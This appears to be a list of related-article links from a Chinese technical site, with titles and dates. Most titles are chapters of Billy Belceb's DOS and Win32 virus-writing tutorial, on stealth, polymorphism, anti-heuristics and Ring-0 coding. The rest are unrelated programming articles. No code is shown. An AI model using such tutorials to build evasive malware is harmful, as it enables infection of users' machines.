- Billy Belceb病毒編寫教程(DOS篇)---附錄2015-11-15
- Billy Belceb病毒編寫教程(DOS篇)---病毒編寫所需的軟體2015-11-15
- Billy Belceb病毒編寫教程(DOS篇)---隱蔽(Stealth)2015-11-15
- Billy Belceb病毒編寫教程(DOS篇)---優化(Optimization)2015-11-15優化
- Billy Belceb病毒編寫教程(DOS篇)---Tunneling2015-11-15
- Billy Belceb病毒編寫教程(DOS篇)---多型(polymorphism)2015-11-15多型
- Billy Belceb病毒編寫教程(DOS篇)有用的結構體2015-11-15結構體
- Billy Belceb病毒編寫教程(DOS篇)---駐留記憶體病毒2015-11-15記憶體
- Billy Belceb病毒編寫教程(DOS篇)反探索(Anti-Heuristics)2015-11-15
- Billy Belceb病毒編寫教程(DOS篇)---保護你的程式碼2015-11-15
- Billy Belceb病毒編寫教程(DOS篇)---Anti-tunneling2015-11-15
- Billy Belceb 病毒編寫教程for Win32 ----附錄2004-05-28Win32
- [翻譯]Billy
Belceb 病毒編寫教程for Win32----- 宣告2004-05-28Win32
- [翻譯]Billy Belceb 病毒編寫教程for Win32 ----病毒編寫中的有用的東西2004-05-28Win32
- Billy Belceb 病毒編寫教程for Win32 ----PE檔案頭2015-11-15Win32
- Billy Belceb 病毒編寫教程for Win32 ----簡單介紹2015-11-15Win32
- Billy Belceb 病毒編寫教程for Win32 ----Per-Process?residency2004-05-28Win32IDE
- Billy Belceb 病毒編寫教程for Win32 ----Win32優化2004-05-28Win32優化
- Billy Belceb 病毒編寫教程for Win32 ----Win32多型2004-05-28Win32多型
- Billy Belceb 病毒編寫教程for Win32 ----Win32 反除錯2004-05-28Win32除錯
- Billy Belceb 病毒編寫教程for Win32 ----高階Win32技術2004-05-28Win32
- Billy Belceb 病毒編寫教程for Win32 ----Ring-0,系統級編碼2004-05-28Win32
- Billy Belceb 病毒編寫教程for Win32 ----Ring-3,使用者級編碼2015-11-15Win32
- 如何編寫高質量的函式 -- 打通任督二脈篇[理論卷]2019-03-26函式
- 重新整理彙編—————彙編的基礎理論前置篇2022-05-21
- 技能篇:shell教程及指令碼編寫2021-06-16指令碼
- 論基礎理論知識的重要性2021-04-15
- 財務系統自開發的一些想法(理論篇)2016-10-26
- 如何編寫高質量的 JS 函式(3) --函數語言程式設計[理論篇]2019-10-07JS函式函數程式設計
- RocketMQ - 理論篇2022-02-03MQ
- 用匯編編寫DOS下的記憶體駐留程式(5) (轉)2007-12-05記憶體
- 用匯編編寫DOS下的記憶體駐留程式(3) (轉)2007-08-15記憶體
- 用匯編編寫DOS下的記憶體駐留程式(4) (轉)2007-08-15記憶體
- 寫給美術看的Unity全域性光照技術(理論篇)2020-04-09Unity
- 跨域-理論篇2021-01-11跨域
- GraphQL分享理論篇2018-03-31